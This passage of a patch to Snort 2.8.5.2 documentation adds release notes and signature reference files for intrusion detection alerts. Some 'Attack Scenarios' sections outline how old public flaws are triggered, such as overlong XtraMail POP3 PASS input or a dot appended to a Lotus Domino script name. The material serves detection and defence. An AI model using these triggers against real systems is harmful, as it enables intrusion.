+[*] Improvements
+    * Fixed possible buffer overflow in  back orifice preprocessor.
+    * Added snort.conf options to bo preprocessor for finer control of 
+      alerting and dropping of bo traffic.
+    * Added alert to detect the bo buffer overflow attack against snort.
+
+2005-09-28 - Snort 2.4.2 Released
+[*] Improvements
+    * Fixed crash bug with -T and default logging setup first reported by 
+      Zultan.
+    * Corrected Win32 directory setup for new WinPCAP.
+
+2005-09-16 - Snort 2.4.1 Released
+[*] New additions
+    * Added a -K command line option to manually select the logging mode using
+      a single switch.  The -b and -N switches will be deprecated in version 
+      2.7.  Pcap logging is now the default for Snort at startup, use "-K ascii"
+      to revert to old behavior.
+
+[*] Improvements
+    * Win32 version now supports winpcap 3.1 and MySQL client 4.13.
+    * Added event on zero-length RPC fragments.
+    * Fixed TCP SACK processing for text based outputs that could result in a 
+      DoS.
+    * General improvements to frag3 including Teardrop detection fix.
+    * Fixed a bug in the PPPoE decoder.
+    * Added patch for time stats from Bill Parker.  Enable with configure 
+      --enable-timestats.
+    * Fixed IDS mode bailing at startup if logdir is specified in snort.conf
+      and /var/log/snort doesn't exist.
+    * Added decoder for IPEnc for OpenBSD.  Thanks Jason Ish for the patch 
+      (long time ago) and Chris Kuethe for reraising the issue.
+    * Allow snort to use usernames (-u) and groupnames (-g) that include 
+      numbers.  Thanks to Shaick for the patch.
+    * Fixed broken -T option.
+    * Change ip_proto to ip for portscan configuration.  Thanks David Bianco
+      for pointing this out.
+    * Fix for prelude initialization.  Thanks Yoann Vandoorselaere for the
+      update.
+    * For content matches, when subsequent rule options fail, start searching
+      again in correct location.
+    * Updated Win32 to handle pflog patch.
+    * Added support for new OpenBSD pflog format.  Older pflog format,
+      OpenBSD 3.3 and earlier is still supported.  Thanks Breno Leitao
+      and Christian Reis for the patch.
+    * Added statistics counter for ETH_LOOPBACK packets.  Thanks rmkml
+      for the patch.
+
+2005-07-22 - Snort 2.4.0 Released
+
+[*] Distribution Change
+    * Rules are no longer distributed as part of the Snort releases, they are
+      available as a separate download from snort.org.  This was done for 
+      three reasons: 
+        1) To better manage the new rules licensing.
+        2) To reduce the size of the engine download.
+        3) To move the thousands of documentation files for the rules into
+           the rules tarballs.  If you've ever checked Snort out of CVS you'll
+           know why this is a Good Thing.
+
+[*] New additions
+    * Added new IP defragmentation preprocessor, Frag3. The frag3 preprocessor 
+      is a target-based IP defragmentation module, and is intended as a 
+      replacement for the frag2 module.  Check out the README.frag3 for full
+      info on this new preprocessor.
+
+    * Libprelude support has been added (enable with --enable-prelude).
+      Thanks Yoann Vandoorselaere!
+
+    * An "ftpbounce" rule detection plugin was added for easier detection of
+      FTP bounce attacks.
+
+    * Added a new Snort config option, "ignore_ports," to ignore packets
+      based on port number.  This is similar to bpf filters, but done within
+      snort.conf.
+
+[*] Improvements
+    * Snort startup messages printed in syslog now contain a PID before each
+      entry. Thanks Sekure for initially bringing this up.
+
+    * Stream4: Performance improvements.
+    
+    * Stream4: Added 'max_session_limit' option which limits number of 
+      concurrent sessions tracked.  Added favor_old/favor_new options that 
+      affect order in which packets are put together for reassembly.  
+
+    * Stream4: New configuration options to manage flushpoints for improved
+      anti-evasion.  The flush_behavior option selects flushpoint management 
+      mode.  New flush_base, flush_range, and flush_seed manage randomized 
+      flushing.  Check out the snort.conf file for full config data on the 
+      new flush options. 
+
+    * Added two more alerts for BackOrifice client and server packets. This
+      allows specific alerts to be suppressed.
+
+    * PerfMon preprocessor updated to include more detailed stats for rebuilt
+      packets (applayer, wire, fragmented & TCP). Also added 'atexitonly'
+      option that dumps stats at exit of snort, and command line -Z flag to
+      specify the file to which stats are logged.
+
+    * Added new Http Inspect config item, "tab_uri_delimiter," which if
+      specified, lets a tab character (0x09) act as the delimiter for a URI.
+
+    * Added a '-G' command line flag to snort that specifies the Snort
+      instance log identifier. It takes a single argument that can be either
+      hex (prefaced with 0x) or decimal. The unified log files will include
+      the instance ID when the -G flag is used.
+
+    * "Same SRC/DST" (sid 527) and "Loopback Traffic" (sid 528) are now
+      handled in the IP decoder. Those sids are now considered obsolete.
+
+    * Http_Inspect "flow_depth" option now accepts a -1 value which tells
+      Snort to ignore all server-side traffic.
+
+    * RPMs have been updated to be more portable, and also now include a
+      "--with inline" option for those wanting to build Inline RPMs. Thanks
+      Daniel Wittenberg and JP Vossen for your help!
+
+    * Many, many bug fixes have also gone into this release, please see the
+      ChangeLog for details.
+
--- snort-2.8.5.2.orig/doc/README.database
+++ snort-2.8.5.2/doc/README.database
@@ -324,6 +324,9 @@
 
 V. Changelog of Database schema
 
+2007-03-15 -- v107
+  + ALL:  Updated to include signature.sig_gid to log the generator ID
+
 2002-09-03 -- v106
   + ALL: added sensor.last_cid to store the last used cid for a 
          given sid
--- snort-2.8.5.2.orig/doc/snort_manual.tex
+++ snort-2.8.5.2/doc/snort_manual.tex
@@ -16,7 +16,7 @@
 %\IfFileExists{url.sty}{\usepackage{url}}
 %                      {\newcommand{\url}{\texttt}}
 
-\usepackage{html}
+\usepackage{hyperref}
 
 % \makeatletter
 
@@ -71,18 +71,18 @@
 }
 %\end{latexonly}
 
-\begin{htmlonly}
-\newenvironment{note}{
-        \begin{rawhtml}
-        <p><table border="1"><tr><td><b>
-        Note:&nbsp;&nbsp;</b>
-        \end{rawhtml}
-}{
-        \begin{rawhtml}
-        </b></td></tr></table></p>
-        \end{rawhtml}
-}
-\end{htmlonly}
+%\begin{htmlonly}
+%\newenvironment{note}{
+%        \begin{rawhtml}
+%        <p><table border="1"><tr><td><b>
+%        Note:&nbsp;&nbsp;</b>
+%        \end{rawhtml}
+%}{
+%        \begin{rawhtml}
+%        </b></td></tr></table></p>
+%        \end{rawhtml}
+%}
+%\end{htmlonly}
 
 \usepackage{babel}
 
--- snort-2.8.5.2.orig/doc/RELEASE.NOTES.2.3
+++ snort-2.8.5.2/doc/RELEASE.NOTES.2.3
@@ -0,0 +1,133 @@
+2005-04-22 - Snort 2.3.3 Released
+
+* Fixed sfPortscan Open Ports not getting suppressed.
+
+* Added new mini-preprocessor to catch the X-Link2State vulnerability.
+  See Snort manual for details.
+
+2005-03-10 - Snort 2.3.2 Released
+
+* Removed end-of-line parser fix in favor of completely reworking
+  this at the next parser overhaul.
+
+2005-03-09 - Snort 2.3.1 Released
+
+* Fixed issue where the number of flowbits were too small. Thanks Marc
+  Norton for the fix.
+
+* Fixed parsing of comments at end of line in config file.  In
+  snort.conf, anything that follows a # on a line is considered a
+  comment. Thanks Steve Sturges for the fix.
+
+* Fixed alignment issue causing sfPortscan to crash on Solaris/HPUX.
+  Thanks Andy Mullican for the fix. Thanks Senthil Prabu.S and
+  Jonathan Miner for working with us on this.
+
+2005-01-25 - Snort 2.3.0 Final Released
+
+* Fixed issue with sfPortscan reporting incorrect IP datagram length.
+  Thanks Jon Hart for the test case and finding the bug, and Marc Norton
+  for resolving the issue.
+
+* Threshold/Suppression now prints properly when logging to syslog.
+  Thanks Sekure for pointing out the problem. Thanks Steve Sturges for
+  working on the fix.
+
+* Threshold memcap argument now correctly handles non-integer input.
+  Thanks nnposter for the patch.
+
+* Fixed issue reported by Allan Jensen, where on MacOS X, ppp links were
+  not decoded properly. Thanks Dan Roelker for the fix.
+
+* Snort manual and FAQ are updated for 2.3. Thanks Jen Harvey for your
+  work on putting it all together. 
+
+2004-12-15 - Snort 2.3.0 RC2 Released
+
+* Small performance improvement to arpspoof and also fixed a problem
+  where the list of configured IP/MAC entries would contain only one
+  entry and leaked memory (Jeff Nathan).
+
+* Fixed a problem affecting MacOS X where linking may fail with
+  non-standard libraries when global symbols are encountered multiple
+  times (Jeff Nathan).
+
+* Ignore RST|ACK midstream pickup case so we don't get an evasive TCP
+  alerts.  Thanks for the report, Sekure. Thanks Dan Roelker for the fix.
+
+* Moved CheckLogDir() to after parsing snort.conf (for IDS mode) so the 
+  logdir config will work if the default or command-line logdir does not
+  exist on the system. Thanks Dan Roelker.
+
+* Fixed bug when setting the doe_ptr on a successful pcre match.
+  It is now set relative to base_ptr. Thanks Steve Sturges for the
+  fix.
+
+* Added from_beginning and multiplier options for byte_jump.
+  from_beginning skips bytes from the beginning of the content,
+  instead of from the location immediately following the number
+  of bytes to skip.  multiplier takes a numeric argument, and
+  skips x times that number of bytes. Thanks again to Steve Sturges.
+
+* In "fast" output, now log only actual packet contents when UDP
+  data length is greater than actual data length. Thanks Brian
+  Caswell for spotting this, and Andrew Mullican for working on the fix.
+
+* Please check the ChangeLog for further details.  
+
+2004-11-18 - Snort 2.3.0 RC1 Released
+
+* Added IPS functionality from Snort-Inline.  A big thanks to the
+  Snort-Inline guys (Jed Haile, Rob McMillen, William Metcalf, and Victor
+  Julien).  Also, Thanks Dan Roelker for doing the integrating of
+  Snort-Inline into the official Snort project.  
+
+* Added new portscan detector.  The design and implementation was headed
+  up by Dan Roelker, and included Marc Norton and Jeremy Hewlett.  
+
+* Numerous changes for better 64bit Snort support from Jeremy Hewlett and
+  Marc Norton.  Additionally, an --enable-64bit-gcc option was added to
+  configure.  However, there are still some memory alignment issues to
+  work out before 64bit mode is fully functional, patches are welcomed.
+  Thanks Chris Baker for doing 64bit testing.  
+
+* Added not_established keyword to the flow detection option.  This allows
+  snort to do dynamic firewall rulesets.  Experimental for now.  
+
+* Added an enforce_state keyword to stream4 so we won't pick up midstream
+  sessions.  This works well for asynchronous links and also for
+  just monitoring legitimate traffic.  
+
+* Relocated ./contrib files to http://www.snort.org/dl/contrib as many
+  are not maintained by Sourcefire and are out of date. The rpm and
+  schema files have been relocated in their respective 'rpm' and 'schemas'
+  directories under the snort parent directory.
+
+* perfmonitor config line can now be configured with "accumulate" or
+  "reset."  Thanks Marc Norton for the feature, and Barry Basselgia for
+  pointing out the issue.  Thanks Scott Dexter and Andreas Ostling for
+  doing some initial testing.  
+
+* Fixed 64-bit bug in sfmemcap.c found and tested by Ryan Matteson
+  and Clay McClure.  Thanks guys.  
+
+* Fixed reference times to match log time for first packet, for an event
+  generated by a reassembled packet.  Incremented event ID to give
+  unique ID for each packet.  Also made unified logging compatible with
+  Windows.  Thanks Andrew Mullican for the fix.  
+
+* Fixed linux perfmonitoring stats for the 2.6 kernel.  Thanks to
+  everyone that reported this bug.  Thanks Dan Roelker for the fix.  
+
+* Get thresholding/suppression to work for alerts that do not
+  contain an ip header (primarily decode alerts).  Thanks
+  Brian Caswell.  
+
+* Fix conditions where snort would log double web alerts that
+  contained only content options (no uricontents).  Thanks to kawa for
+  finding and reporting this bug.  
+
+* Fix suppression/thresholding bug for non-rule alerts.  Thanks to
+  Alex Butcher for reporting it to us.  
+
+* Many other bug fixes, please check the ChangeLog for details.  
--- snort-2.8.5.2.orig/doc/faq.tex
+++ snort-2.8.5.2/doc/faq.tex
@@ -2,9 +2,9 @@
 
 %latex2html -info 0 -local_icons -show_section_numbers -link 2 -split +1 faq.tex
 \documentclass{article}
-\usepackage{html}
+\usepackage{hyperref}
 \usepackage{graphicx}
-\usepackage{fancyheadings}
+\usepackage{fancyhdr}
 \usepackage{makeidx}
 
 %% Margins
@@ -98,11 +98,11 @@
 
 \newpage
 
-\begin{latexonly}
+%\begin{latexonly}
 \tableofcontents
 
 \newpage
-\end{latexonly}
+%\end{latexonly}
 
 \section{Background}
 
--- snort-2.8.5.2.orig/doc/RELEASE.NOTES.2.6
+++ snort-2.8.5.2/doc/RELEASE.NOTES.2.6
@@ -0,0 +1,114 @@
+2007-05-09 - Snort 2.6.1.5 Released
+[*] New Additions
+    * Updated HttpInspect to normalize parameters that are part of the
+      client request body in the same way it normalizes HTTP URIs.
+      Added a modifier keyword to be used in conjunction with a content
+      option in the rules to search only the normalized HTTP client request
+      body.  Also added stats for HttpInspect to track number of various
+      types of normalizations and HTTP methods.
+
+[*] Improvements
+    * Fix header files to avoid conflicts with system files on BSD for
+      IPv6 data structures.
+
+    * Fix possible memory leak in Stream4 when HttpInspect is being
+      used.
+
+2007-03-26 - Snort 2.6.1.4 Released
+[*] New Additions
+    * Added detection for BSD IPv6 fragmentation overflow (CVE-2007-1365).
+      New options configure the behavior of the detection and new decoder
+      alerts for truncated IPv6 headers and a Fragmentation alert for the 
+      specific overflow attack.
+
+[*] Security Improvements
+    * Updated code to use safer functions that perform bounds checking
+      when doing string or memory copies and snprintf buffer writes.
+      Ensure null termination on string buffers and perform initialization
+      on memory allocations.
+
+2007-02-18 - Snort 2.6.1.3 Released
+[*] Improvements
+    * Updated DCE/RPC dynamic protocol normalizer to perform additional
+      boundary checking when reassembling SMB fragments.  This addresses
+      a potential remotely exploitable stack-based buffer overflow.
+
+    * Updated Frag3 to protect against potential for fragments without
+      ethernet header being passed from iptables to Snort inline.
+
+2006-12-07 - Snort 2.6.1.2 Released
+[*] Improvements
+    * Fixed problem with snort using high CPU and potentially reprocessing
+      the same TCP reassembled packets with a sequence number wrap and
+      packets missing from the queue (out of order, dropped, or async
+      network).
+
+    * Updated DCE/RPC dynamic protocol normalizer to protect against
+      integer underflow conditions.
+
+    * Updated unified output plugin to work correctly on certain 64bit
+      platforms where timeval structure is a different size.  A patch
+      to barnyard that is associated with this fix can be found at:
+      http://secure.lv/~nikns/stuff/barnyard_64bit.diff.
+
+2006-11-22 - Snort 2.6.1.1 Released
+[*] Improvements
+    * Fixed problem with snort using high CPU and potentially reprocessing
+      the same TCP reassembled packets at session end or TCP ACK of only
+      part of a packet.
+
+2006-11-16 - Snort 2.6.1 Released
+[*] New Additions
+    * Support for UDP "session" tracking to Stream4.  Enable via
+      --enable-stream4udp option to configure script.  This allows
+      the use of flow option with UDP rules.  Includes tracking
+      of stats for UDP sessions.  A session is created for rules that
+      use the flow or flowbits keywords.  Also provided the ability to
+      ignore UDP any any -> any any rules as a performance improvement.
+
+    * Stream5 (for Beta testing) as replacement for Stream4
+      and Flow preprocessors.  See README.stream for details.
+
+    * Allow blocking of entire session in inline mode via stream API.
+      All subsequent packets on that session are blocked.
+
+    * Dynamic DCE/RPC protocol normalizer and defragmentation
+      module.  See README.dcerpc for details.
+
+    * SSH (for Beta testing) protocol analyzer.  See README.ssh for
+      details.
+
+    * Support for GRE encapsulated protocol (experimental).  Enable via
+      --enable-gre option to configure script.
+    
+    * Aruba networks output plugin (experimental).  See README.ARUBA for
+      details.  Enable via --enable-aruba option to configure script.
+
+    * Smaller memory footprint pattern mattcher using Aho-Corasick,
+      using NFA.  Use 'config detection: search-method ac-bnfa' to 
+      enable.  This will become the default pattern matcher in future
+      releases.  Wu-Manhber has been deprecated (mwm).
+
+[*] Improvements
+
+    * Added parameter to dynamicengine to allow specification of
+      directory instead of implicit file.  This will load all engine shared
+      libraries within the specified directory.  Can also use
+      --dynamic-engine-lib-dir command-line option.  Fix handling of
+      loading multiple instances of the same dynamic library (engine,
+      detection, or preprocessor).
+
+    * Updates to HTTP inspect to handle different versions of IIS with
+      the related iis profiles.  See README.httpinspect for details.
+
+    * Cleaned up inline initialization to better handle test mode.
+
+    * Updates to interface dependent variable definitions.
+
+    * Added stats for packets not yet processed -- those that are still in
+      the buffer used by pcap.
+
+    * Fixed issue with fewer alerts being generated when snort is compiled
+      with gcc 4.x by using no-strict-aliasing flag.
+
+    * Require each rule to have a unique sid/gid pair.
--- snort-2.8.5.2.orig/doc/RELEASE.NOTES.2.7
+++ snort-2.8.5.2/doc/RELEASE.NOTES.2.7
@@ -0,0 +1,23 @@
+2007-07-09 - Snort 2.7.0
+
+[*] New Additions
+    * Stream5 is now the default stream processor and replaces both flow
+      and Stream4.  Refer to the Snort manual and README.stream5 for
+      details on how to configure it for OS target-specific TCP
+      processing.
+
+[*] Improvements
+    * Fixed header files to avoid conflicts with system files on BSD for
+      IPv6 data structures.
+
+    * Reduced memory footprint for smtp preprocessor.
+
+    * Ensured Snort frees memory from preprocessors before exit.  Only
+      outstanding memory in use is related to pattern matcher and
+      rules.
+
+[*] Security Improvements
+    * Further updates that use safer functions that perform bounds checking
+      when doing string or memory copies and snprintf buffer writes.
+      Ensure null termination on string buffers and perform initialization
+      on memory allocations.
--- snort-2.8.5.2.orig/doc/signatures/1636.txt
+++ snort-2.8.5.2/doc/signatures/1636.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+
+1636
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer in Xtramail.
+
+--
+Impact:
+An attacker can execute an arbitrary command with the privilege of the user running Xtramail, typically root.
+
+--
+Detailed Information:
+Xtramail is a Mail Transfer Agent ,normally listening on port 110 and 25. Older versions have a buffer overflow in the remote service when it is issued the large input strings in the Username field.
+
+There are several unchecked buffers in XtraMail 1.11, which when overflowed will crash the server and cause a denial of service.
+
+--
+Affected Systems:
+
+	Artisoft XtraMail v1.11
+
+--
+Attack Scenarios:
+The POP3 server buffer can be overflowed by sending more than 1500 characters to the PASS argument.
+
+The SMTP server buffer can be overflowed by sending more than 10,000 charcters in the HELO argument.
+
+The username buffer for remote administration can be overflowed by sending more than 10,000 characters.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Certain types of binary file attachments could generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate patches
+
+Upgrade to the latest non-affected version of the software. 
+
+Block incoming attachments with .bat, .exe, .pif, and .scr extensions 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+http://www.securityfocus.com/bid/791
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000163.txt
+++ snort-2.8.5.2/doc/signatures/100000163.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000163
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of 407 Proxy 
+Authentication Required messages are returned by an SIP-enabled host.
+
+--
+Impact:
+This can be an indication of either a brute force authentication attack or a 
+denial of service in progress.
+
+--
+Detailed Information:
+When a user attempts to send an INVITE message with invalid credentials, a SIP 
+server returns a 401 Proxy Authentication Required message. A high volume of 
+these may indicate that an authentication attack, likely brute-force style, or 
+a denial of service is in progress.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to attempt a brute-force authentication attack 
+or a denial of service.
+
+--
+Ease of Attack:
+Simple, as it is easy to write a script to cycle through all possible 
+authentication values or to simply flood a system with unauthorized data.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2304.txt
+++ snort-2.8.5.2/doc/signatures/2304.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2304
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the file
+files.inc.php on a web server running a PHP application. This may lead
+to information disclosure, further attacks against the system may be
+possible with the information gained,
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/253.txt
+++ snort-2.8.5.2/doc/signatures/253.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+253
+
+--
+Summary:
+This event is generated when a specific DNS response. In this case, there are no DNS authority records for the queried pointer record and has a DNS time-to-live value of one minute. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This is presumably from an attacker engaged in a race condition to respond to a legitimate DNS query.  An attacker may sniff a DNS query requesting an address record and attempt to respond before an actual DNS server can.  The spoofed response is atypical because it does not include the authoritative DNS servers in the returned record.  A legitimate DNS response will likely return the names of the authoritative DNS servers.  The response associated with this traffic has a DNS time-to-live value of one minute.  It is suspected that the TTL is set to expire quickly to eliminate any evidence of the spoofed response.
+
+--
+Affected Systems:
+Any DNS server not using DNSSEC.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Moderate. The attacker has to be able to sniff DNS queries and generate spoofed responses before the actual DNS server.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+This rule uses very specific DNS flag values that could be modified.  Also, if the DNS TTL value is changed from 1, this rule will not trigger.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/283.txt
+++ snort-2.8.5.2/doc/signatures/283.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid: 283
+
+--
+Summary:
+Versions of the Netscape browser including and prior to 4.75 are vulnerable to a buffer overflow that may lead to a root shell listening on port 6968. This event is generated when a request is made to a web site exploiting this vulnerability.
+
+--
+Impact:
+System compromize presenting the attacker with the opportunity to
+gain remote access to the victim host.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the HTML parser on some versions of Netscape Navigator. It is possible for a remote attacker to gain a root shell on the victim host.
+
+A long password value in a form field may result in an attacker being able to execute arbitrary commands.
+
+Affected Systems:
+	Netscape Navigator 4.75 and prior
+
+--
+Attack Scenarios:
+The attacker would need to supply a link on a web page or HTML email that triggers the overflow.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1189
+
+Arachnids:
+http://www.whitehats.com/info/IDS215
+
+Bugtraq:
+http://www.securityfocus.com/bid/822
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000740.txt
+++ snort-2.8.5.2/doc/signatures/100000740.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000740
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "Import.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "Import.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2839.txt
+++ snort-2.8.5.2/doc/signatures/2839.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2839
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure suspend_master_activity
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2066.txt
+++ snort-2.8.5.2/doc/signatures/2066.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2066
+
+--
+Summary:
+file on a Lotus Domino Server.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Certain versions of Lotus Domino web servers do not correctly handle 
+requests for script files not specific to Lotus Domino.
+
+By using a dot in the filename an attacker may view the source of the 
+script and be presented with sensitive information embedded in the 
+script.
+
+--
+Affected Systems:
+Lotus Domino Server 5.0 and 6.0
+
+--
+Attack Scenarios:
+The attacker merely needs to make an HTTP request for the script and add
+a dot to the filename. This can be done using a browser.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6841
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-19.txt
+++ snort-2.8.5.2/doc/signatures/122-19.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-19
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+portsweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000656.txt
+++ snort-2.8.5.2/doc/signatures/100000656.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000656
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
